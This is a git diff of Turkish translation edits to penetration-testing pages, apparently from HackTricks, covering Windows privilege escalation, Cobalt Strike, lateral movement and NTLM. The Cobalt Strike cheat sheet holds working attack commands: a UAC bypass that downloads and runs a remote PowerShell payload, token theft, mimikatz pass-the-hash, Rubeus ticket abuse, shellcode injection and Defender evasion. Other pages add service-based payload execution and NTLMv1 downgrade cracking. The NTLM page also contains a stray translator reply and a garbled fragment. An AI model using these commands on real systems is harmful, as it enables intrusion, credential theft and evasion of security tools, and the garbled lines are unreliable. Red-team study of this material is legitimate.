ilginç bilgiler var mı? - [ ] [**PowerShell geçmişinde**](windows-local-privilege-escalation/#powershell-history) şifreler var mı? - [ ] [**Internet ayarlarında**](windows-local-privilege-escalation/#internet-settings) ilginç bilgiler var mı? @@ -31,11 +31,11 @@ - [ ] [**Kullanıcı Yetkileri**](windows-local-privilege-escalation/#users-and-groups) - [ ] [**mevcut** kullanıcı **yetkilerini**](windows-local-privilege-escalation/#users-and-groups) kontrol et - [ ] [**herhangi bir ayrıcalıklı grubun**](windows-local-privilege-escalation/#privileged-groups) üyesi misin? -- [ ] [**bu tokenlerden herhangi biri etkin mi**](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +- [ ] [**SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege**](windows-local-privilege-escalation/#token-manipulation) gibi bu token'ların herhangi biri etkin mi kontrol et? - [ ] [**Kullanıcı Oturumları**](windows-local-privilege-escalation/#logged-users-sessions)? - [ ] [**kullanıcı evlerini**](windows-local-privilege-escalation/#home-folders) kontrol et (erişim?) - [ ] [**Şifre Politikası**](windows-local-privilege-escalation/#password-policy) kontrol et -- [ ] [**Pano içinde ne var**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)? +- [ ] [**Pano içinde neler var**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)? ### [Ağ](windows-local-privilege-escalation/#network) @@ -58,14 +58,14 @@ ### [**Uygulamalar**](windows-local-privilege-escalation/#applications) -- [ ] **Yüklenmiş uygulamalar üzerindeki** [**yazma izinleri**](windows-local-privilege-escalation/#write-permissions) +- [ ] **Yüklenmiş uygulamalarda** [**yazma**](windows-local-privilege-escalation/#write-permissions) izinleri - [ ] [**Başlangıç Uygulamaları**](windows-local-privilege-escalation/#run-at-startup) - [ ] **Zayıf** [**Sürücüler**](windows-local-privilege-escalation/#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) - [ ] **PATH içindeki herhangi bir klasöre yazabilir misin**? -- [ ] **yüklemeye çalışan** bilinen bir hizmet ikilisi var mı **mevcut olmayan DLL**? +- [ ] **yüklemeye çalışan** bilinen bir hizmet ikilisi var mı **herhangi bir mevcut olmayan DLL**? - [ ] **herhangi bir** ikili klasöre **yazabilir misin**? ### [Ağ](windows-local-privilege-escalation/#network) @@ -98,7 +98,7 @@ - [ ] [**web** **günlüklerinde**](windows-local-privilege-escalation/#logs) ilginç bilgiler var mı? - [ ] Kullanıcıdan [**kimlik bilgilerini istemek**](windows-local-privilege-escalation/#ask-for-credentials) ister misin? - [ ] [**Geri Dönüşüm Kutusu içindeki ilginç dosyalar**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)? -- [ ] [**kimlik bilgileri içeren diğer**](windows-local-privilege-escalation/#inside-the-registry) kayıt defterleri? +- [ ] [**kimlik bilgileri içeren diğer kayıt defterleri**](windows-local-privilege-escalation/#inside-the-registry)? - [ ] [**Tarayıcı verileri içinde**](windows-local-privilege-escalation/#browsers-history) (dbs, geçmiş, yer imleri, ...)? - [ ] Dosyalar ve kayıt defterinde [**genel şifre araması**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) - [ ] Şifreleri otomatik olarak aramak için [**Araçlar**](windows-local-privilege-escalation/#tools-that-search-for-passwords) @@ -107,7 +107,7 @@ - [ ] Yönetici tarafından çalıştırılan bir sürecin herhangi bir işleyicisine erişimin var mı? -### [Pipe İstemci Taklit Etme](windows-local-privilege-escalation/#named-pipe-client-impersonation) +### [Borulama İstemcisi Taklidi](windows-local-privilege-escalation/#named-pipe-client-impersonation) - [ ] Bunu kötüye kullanıp kullanamayacağını kontrol et diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index 29fc49e72..66bb7e440 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -23,8 +23,8 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di * **`HTMLApplication`** HTA dosyaları için * **`MS Office Macro`** makro içeren bir ofis belgesi için -* **`Windows Executable`** .exe, .dll veya hizmet .exe için -* **`Windows Executable (S)`** **stageless** .exe, .dll veya hizmet .exe için (stageless, staged'den daha iyidir, daha az IoC) +* **`Windows Executable`** .exe, .dll veya servis .exe için +* **`Windows Executable (S)`** **stageless** .exe, .dll veya servis .exe için (stageless, staged'den daha iyidir, daha az IoC) #### Payload'ları Oluşturma ve Barındırma @@ -32,7 +32,7 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di #### Payload'ları Barındırma -Eğer barındırmak istediğiniz dosya zaten bir web sunucusunda varsa, `Attacks -> Web Drive-by -> Host File` bölümüne gidin ve barındırmak için dosyayı seçin ve web sunucu yapılandırmasını ayarlayın. +Eğer barındırmak istediğiniz dosya zaten bir web sunucusunda varsa, `Attacks -> Web Drive-by -> Host File` kısmına gidin ve barındırmak için dosyayı seçin ve web sunucu yapılandırmasını ayarlayın. ### Beacon Seçenekleri @@ -43,11 +43,11 @@ execute-assembly </path/to/executable.exe> printscreen # PrintScr yöntemiyle tek bir ekran görüntüsü al screenshot # Tek bir ekran görüntüsü al screenwatch # Masaüstünün periyodik ekran görüntülerini al -## Görüntüle -> Ekran Görüntüleri'ne gidin +## Görüntüleri görmek için Görünüm -> Ekran Görüntüleri'ne gidin # keylogger keylogger [pid] [x86|x64] -## Görüntüle > Tuş Vuruşları'na gidin, basılan tuşları görün +## Görünüm > Tuş Vuruşları'na giderek basılan tuşları görün # portscan portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Başka bir süreç içinde portscan eylemi enjekte et @@ -56,7 +56,7 @@ portscan [targets] [ports] [arp|icmp|none] [max connections] # Powershell # Powershell modülünü içe aktar powershell-import C:\path\to\PowerView.ps1 -powershell <just write powershell cmd here> +powershell <buraya powershell komutunu yazın> # Kullanıcı taklidi ## Kimlik bilgileri ile token oluşturma @@ -65,7 +65,7 @@ ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmey rev2self # make_token ile oluşturulan token'ı kullanmayı durdur ## make_token kullanımı, olay 4624'ü oluşturur: Bir hesap başarıyla oturum açtı. Bu olay, bir Windows alanında çok yaygındır, ancak Oturum Açma Türü ile filtrelenerek daraltılabilir. Yukarıda belirtildiği gibi, LOGON32_LOGON_NEW_CREDENTIALS kullanır, bu da tür 9'dur. -# UAC Bypass +# UAC Atlatma elevate svc-exe <listener> elevate uac-token-duplication <listener> runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" @@ -73,13 +73,13 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w ## pid'den token çalma ## make_token gibi ama bir süreçten token çalıyor steal_token [pid] # Ayrıca, bu ağ eylemleri için yararlıdır, yerel eylemler için değil -## API belgelerinden bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle Beacon çıktısı, Taklit Edilen <current_username> diyor - kendi klonlanmış token'ımızı taklit ediyor. +## API belgelerinden bu oturum açma türünün "çağrıcının mevcut token'ını klonlamasına izin verdiğini" biliyoruz. Bu nedenle Beacon çıktısı, Kopyalanmış <current_username> diyor - kendi klonlanmış token'ımızı taklit ediyor. ls \\computer_name\c$ # Oluşturulan token ile bir bilgisayardaki C$'ya erişmeye çalış rev2self # steal_token'dan token kullanmayı durdur ## Yeni kimlik bilgileri ile süreci başlat spawnas [domain\username] [password] [listener] # Okuma erişimi olan bir dizinden yapın: cd C:\ -## make_token gibi, bu Windows olayı 4624'ü oluşturacaktır: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır. +## make_token gibi, bu Windows olay 4624'ü oluşturacaktır: Bir hesap başarıyla oturum açtı ama 2 (LOGON32_LOGON_INTERACTIVE) oturum açma türü ile. Çağrıcı kullanıcıyı (TargetUserName) ve taklit edilen kullanıcıyı (TargetOutboundUserName) detaylandıracaktır. ## Sürece enjekte et inject [pid] [x64|x86] [listener] @@ -95,7 +95,7 @@ mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<N ## /run olmadan, mimikatz bir cmd.exe başlatır, eğer bir Masaüstü ile çalışan bir kullanıcıysanız, shell'i görecektir (eğer SYSTEM olarak çalışıyorsanız, iyi gidiyorsunuz) steal_token <pid> # Mimikatz tarafından oluşturulan süreçten token çal -## Bilet geç +## Bileti geç ## Bir bilet talep et execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec ## Yeni bilet ile kullanılacak yeni bir oturum açma oturumu oluştur (ele geçirilen ile üzerine yazmamak için) @@ -115,7 +115,7 @@ steal_token <pid> execute-assembly C:\path\Rubeus.exe triage ### İlginç bileti luid ile dök execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap -### Yeni oturum açma oturumu oluştur, luid ve processid not edin +### Yeni bir oturum açma oturumu oluştur, luid ve processid'yi not et execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe ### Bileti oluşturulan oturum açma oturumuna ekle execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...] @@ -126,17 +126,17 @@ steal_token <pid> ## Bir token oluşturulduysa kullanılacaktır jump [method] [target] [listener] ## Yöntemler: -## psexec x86 Bir hizmeti bir Service EXE nesnesi çalıştırmak için kullan -## psexec64 x64 Bir hizmeti bir Service EXE nesnesi çalıştırmak için kullan -## psexec_psh x86 Bir hizmeti bir PowerShell one-liner çalıştırmak için kullan -## winrm x86 WinRM üzerinden bir PowerShell scripti çalıştır -## winrm64 x64 WinRM üzerinden bir PowerShell scripti çalıştır +## psexec x86 Bir Servis EXE nesnesini çalıştırmak için bir hizmet kullan +## psexec64 x64 Bir Servis EXE nesnesini çalıştırmak için bir hizmet kullan +## psexec_psh x86 Bir PowerShell one-liner'ı çalıştırmak için bir hizmet kullan +## winrm x86 WinRM üzerinden bir PowerShell scripti çalıştır +## winrm64 x64 WinRM üzerinden bir PowerShell scripti çalıştır remote-exec [method] [target] [command] ## Yöntemler: -## psexec Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır -## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır -## wmi WMI aracılığıyla uzaktan çalıştır +## psexec Hizmet Kontrol Yöneticisi aracılığıyla uzaktan çalıştır +## winrm WinRM (PowerShell) aracılığıyla uzaktan çalıştır +## wmi WMI aracılığıyla uzaktan çalıştır ## WMI ile bir beacon çalıştırmak için (jump komutunda değil) sadece beacon'ı yükleyin ve çalıştırın beacon> upload C:\Payloads\beacon-smb.exe @@ -162,11 +162,11 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<POR ## Bin dosyasını Cobalt Strike ana bilgisayarına kopyalayın ps -shinject <pid> x64 C:\Payloads\msf.bin # x64 sürecine metasploit shellcode enjekte et +shinject <pid> x64 C:\Payloads\msf.bin # x64 bir süreçte metasploit shellcode enjekte et # Metasploit oturumunu Cobalt Strike'a geçirme -## Stageless Beacon shellcode oluşturun, Attacks > Packages > Windows Executable (S) bölümüne gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 payload kullanın. -## Oluşturulan cobalt strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın. +## Stageless Beacon shellcode oluşturun, Attacks > Packages > Windows Executable (S) kısmına gidin, istenen dinleyiciyi seçin, Çıktı türü olarak Raw'ı seçin ve x64 payload kullanın. +## Oluşturulan cobalt strike shellcode'u enjekte etmek için metasploit'te post/windows/manage/shellcode_inject kullanın # Pivoting @@ -180,19 +180,19 @@ beacon> ssh 10.10.17.12:22 kullanıcı adı şifre
### Artifact Kit -Genellikle `/opt/cobaltstrike/artifact-kit` içinde, cobalt strike'ın ikili beacon'ları oluşturmak için kullanacağı kod ve önceden derlenmiş şablonları ( `/src-common` içinde) bulabilirsiniz. +Genellikle `/opt/cobaltstrike/artifact-kit` içinde, Cobalt Strike'ın ikili beacon'ları oluşturmak için kullanacağı kod ve önceden derlenmiş şablonları ( `/src-common` içinde) bulabilirsiniz. -[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) ile oluşturulan arka kapıyı (veya sadece derlenmiş şablonu) kullanarak defender'ı tetikleyen şeyi bulabilirsiniz. Genellikle bir dizedir. Bu nedenle, arka kapıyı oluşturan kodu değiştirerek o dizeyi son ikili dosyada görünmeyecek şekilde değiştirebilirsiniz. +[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) ile oluşturulan arka kapıyı (veya sadece derlenmiş şablonu) kullanarak, defender'ı tetikleyen şeyi bulabilirsiniz. Genellikle bir dizedir. Bu nedenle, arka kapıyı oluşturan kodu değiştirerek o dizeyi son ikili dosyada görünmeyecek şekilde değiştirebilirsiniz. -Kodu değiştirdikten sonra, aynı dizinden `./build.sh` komutunu çalıştırın ve `dist-pipe/` klasörünü Windows istemcisinde `C:\Tools\cobaltstrike\ArtifactKit` içine kopyalayın. +Kodu değiştirdikten sonra, aynı dizinden `./build.sh` komutunu çalıştırın ve `dist-pipe/` klasörünü Windows istemcisindeki `C:\Tools\cobaltstrike\ArtifactKit` içine kopyalayın. ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` -Aggressive script `dist-pipe\artifact.cna` dosyasını yüklemeyi unutmayın, böylece Cobalt Strike'ın istediğimiz disk kaynaklarını kullanmasını ve yüklenenleri kullanmamasını belirtebiliriz. +Aggressive script `dist-pipe\artifact.cna` dosyasını yüklemeyi unutmayın, böylece Cobalt Strike'ın kullanmak istediğimiz disk kaynaklarını kullanmasını sağlayabilirsiniz ve yüklenenleri değil. -### Resource Kit +### Kaynak Kiti -ResourceKit klasörü, PowerShell, VBA ve HTA dahil olmak üzere Cobalt Strike'ın script tabanlı payloadları için şablonları içerir. +ResourceKit klasörü, Cobalt Strike'ın script tabanlı yükleri için PowerShell, VBA ve HTA dahil olmak üzere şablonları içerir. [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) ile şablonları kullanarak, defender'ın (bu durumda AMSI) beğenmediği şeyleri bulabilir ve bunu değiştirebilirsiniz: ``` diff --git a/src/windows-hardening/lateral-movement/atexec.md b/src/windows-hardening/lateral-movement/atexec.md index 63446b4ee..439556cf2 100644 --- a/src/windows-hardening/lateral-movement/atexec.md +++ b/src/windows-hardening/lateral-movement/atexec.md @@ -22,6 +22,6 @@ Ayrıca [SharpLateral](https://github.com/mertdas/SharpLateral) kullanabilirsini ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` -Daha fazla bilgi için [**schtasks'in silver ticket'larla kullanımı burada**](../active-directory-methodology/silver-ticket.md#host). +Daha fazla bilgi için [**schtasks'in gümüş biletlerle kullanımı burada**](../active-directory-methodology/silver-ticket.md#host). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcom-exec.md index 8626f26f9..8f8621afc 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcom-exec.md @@ -18,7 +18,7 @@ Bu özellik, bir DCOM uygulaması aracılığıyla bir ağ üzerinde komutların ``` Bu komut DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. ExecuteShellCommand yöntemi daha sonra uzak ana bilgisayarda bir işlemi yürütmek için çağrılabilir. İşlem aşağıdaki adımları içerir: -Check methods: +Yöntemleri kontrol et: ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10")) $com.Document.ActiveView | Get-Member @@ -36,7 +36,7 @@ ls \\10.10.10.10\c$\Users **Bu teknik hakkında daha fazla bilgi için orijinal gönderiyi kontrol edin [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)** -**MMC20.Application** nesnesinin açık "LaunchPermissions" eksikliği olduğu tespit edildi ve bu, Yöneticilerin erişimine izin veren varsayılan izinlere geri dönmektedir. Daha fazla ayrıntı için bir konu [burada](https://twitter.com/tiraniddo/status/817532039771525120) incelenebilir ve açık Launch Permission olmayan nesneleri filtrelemek için [@tiraniddo](https://twitter.com/tiraniddo)’nun OleView .NET kullanımının önerildiği belirtilmiştir. +**MMC20.Application** nesnesinin açık "LaunchPermissions" eksikliği olduğu tespit edildi ve bu, Yöneticilere erişim izni veren varsayılan izinlere geri dönmektedir. Daha fazla ayrıntı için bir konu [burada](https://twitter.com/tiraniddo/status/817532039771525120) incelenebilir ve açık Launch Permission olmayan nesneleri filtrelemek için [@tiraniddo](https://twitter.com/tiraniddo)’nun OleView .NET kullanımının önerildiği belirtilmiştir. Açık Launch Permissions eksikliği nedeniyle iki özel nesne, `ShellBrowserWindow` ve `ShellWindows`, vurgulanmıştır. `HKCR:\AppID\{guid}` altında bir `LaunchPermission` kayıt girişi olmaması, açık izinlerin olmadığını gösterir. @@ -55,7 +55,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy Lateral hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Ayrıntılı bilgi için, DCOM üzerinden lateral hareket için Excel DDE'yi kullanma konusundaki tartışmayı [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) okumanız önerilir. -Empire projesi, DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'i RCE için istismar etmenin farklı yöntemlerini sergileyen [Empire'ın GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alıntılar bulunmaktadır: +Empire projesi, DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, RCE için Excel'i istismar etmenin farklı yöntemlerini sergileyen [Empire'ın GitHub deposundaki](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) betikten alıntılar bulunmaktadır: ```powershell # Detection of Office version elseif ($Method -Match "DetectOffice") { diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index 51f1664c1..c321a8f37 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -11,12 +11,12 @@ Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının, 3. Hizmet **uzaktan başlatılır**. 4. Çıkışta, hizmet **durdurulur ve ikili dosya silinir**. -### **PsExec'i Manuel Olarak Çalıştırma Süreci** +### **PsExec'i Manuel Olarak Yürütme Süreci** -Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük (met8888.exe olarak adlandırılmış), bir meterpreter reverse_http yükünü temsil eder, aşağıdaki adımlar izlenir: +Antivirüs tespitinden kaçınmak için Veil kullanılarak obfuscate edilmiş, 'met8888.exe' adında bir yürütülebilir yük (msfvenom ile oluşturulmuş) olduğu varsayıldığında, aşağıdaki adımlar izlenir: - **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir. -- **Bir hizmetin oluşturulması**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla yüklenen ikili dosyaya işaret edecek şekilde oluşturulur. +- **Bir hizmetin oluşturulması**: Windows `sc` komutu kullanılarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla yüklenen ikili dosyaya işaret edecek şekilde oluşturulur. - **Hizmetin başlatılması**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir. Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığını gösterecektir. diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md index 1bd2654c1..c9c39036a 100644 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ b/src/windows-hardening/lateral-movement/smbexec.md @@ -18,16 +18,16 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 - **Smbexec**, hedefte fiziksel ikili dosyalar olmaksızın hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar. - Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar. -- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükün başarılı bir şekilde yürütülmesini sağlamakta ve Metasploit dinleyicisi ile geri çağırma ve yük yürütme elde etmekte mümkündür; hizmet yanıt hataları olsa bile. +- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükü başarıyla yürütmek, geri çağırma ve yük yürütme sağlamak mümkündür; bu, hizmet yanıt hataları olsa bile Metasploit dinleyicisi ile gerçekleşir. -### Komutlar Örneği +### Komut Örneği Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir: ```bash sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" sc start [ServiceName] ``` -Daha fazla detay için [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) +Daha fazla bilgi için [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) ## Referanslar diff --git a/src/windows-hardening/lateral-movement/wmiexec.md b/src/windows-hardening/lateral-movement/wmiexec.md index 5fe9f07df..d4f6d15e0 100644 --- a/src/windows-hardening/lateral-movement/wmiexec.md +++ b/src/windows-hardening/lateral-movement/wmiexec.md @@ -85,11 +85,11 @@ wmic useraccount list /format:list wmic group list /format:list wmic sysaccount list /format:list ``` -Uzak bir makinedeki yerel yöneticiler veya oturum açmış kullanıcılar gibi belirli bilgileri WMI üzerinden uzaktan sorgulamak, dikkatli komut yapısı ile mümkündür. +WMI üzerinden belirli bilgilerin, örneğin yerel yöneticiler veya oturum açmış kullanıcılar gibi, uzaktan sorgulanması dikkatli komut yapısıyla mümkündür. ### **Manuel Uzaktan WMI Sorgulama** -Uzak bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler. +Uzaktaki bir makinedeki yerel yöneticilerin ve oturum açmış kullanıcıların gizli bir şekilde tanımlanması, belirli WMI sorguları aracılığıyla gerçekleştirilebilir. `wmic`, aynı zamanda bir metin dosyasından okuma yaparak birden fazla düğümde komutları aynı anda çalıştırmayı destekler. WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı dağıtmak için, aşağıdaki komut yapısı kullanılır; başarılı bir yürütme, "0" döndürme değeri ile gösterilir: ```bash diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 131b0cc34..9d2c33328 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -46,20 +46,20 @@ Olası değerler: ``` ## Temel NTLM Alan Kimlik Doğrulama Şeması -1. **Kullanıcı** **kimlik bilgilerini** tanıtır -2. İstemci makine **alan adı** ve **kullanıcı adı** göndererek **kimlik doğrulama isteği** gönderir -3. **Sunucu** **meydan okuma** gönderir -4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı** şifreler ve yanıt olarak gönderir +1. **Kullanıcı** **kimlik bilgilerini** girer. +2. İstemci makine **alan adı** ve **kullanıcı adı** göndererek **kimlik doğrulama isteği** gönderir. +3. **Sunucu** **meydan okuma** gönderir. +4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı** **şifreler** ve yanıt olarak gönderir. 5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer **yapılandırılmış bir Active Directory yoksa** veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**. -6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir +6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir. **Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu **NTDS.DIT** veritabanının içindedir). ### Yerel NTLM Kimlik Doğrulama Şeması -Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyası içinde kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilmektedir. Bu nedenle, Alan Denetleyicisi'nden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulamayacağını kontrol edecektir. +Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyası içinde kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilmektedir. Bu nedenle, Alan Denetleyicisi'nden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulayamayacağını kontrol eder. -### NTLMv1 Meydan Okuması +### NTLMv1 Meydan Okuma **Meydan okuma uzunluğu 8 bayttır** ve **yanıt 24 bayt** uzunluğundadır. @@ -79,9 +79,9 @@ Günümüzde, yapılandırılmış Kısıtlanmamış Delegasyon ile ortam bulmak AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/oturumları **yazıcının bazı** **kontrolünüz altındaki** **sunucuya kimlik doğrulaması yapmasını istemek** için istismar edebilirsiniz. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, **kırabilirsiniz**.\ Eğer `responder` kullanıyorsanız, **kimlik doğrulamayı** **düşürmek** için `--lm` bayrağını **kullanmayı** deneyebilirsiniz.\ -&#xNAN;_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._ +&#xNAN;_NBu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir)._ -Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak **kıramayacaksınız**. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](./#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz). +Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak **kırmanız** mümkün olmayacaktır. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](./#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz). ### Hashcat ile NTLMv1 Saldırısı @@ -91,7 +91,7 @@ Komut ```bash python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788 ``` -Lütfen çevirmemi istediğiniz metni paylaşın. +Please provide the text you would like me to translate. ```bash ['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788'] @@ -126,7 +126,7 @@ Hashcat'i çalıştırın 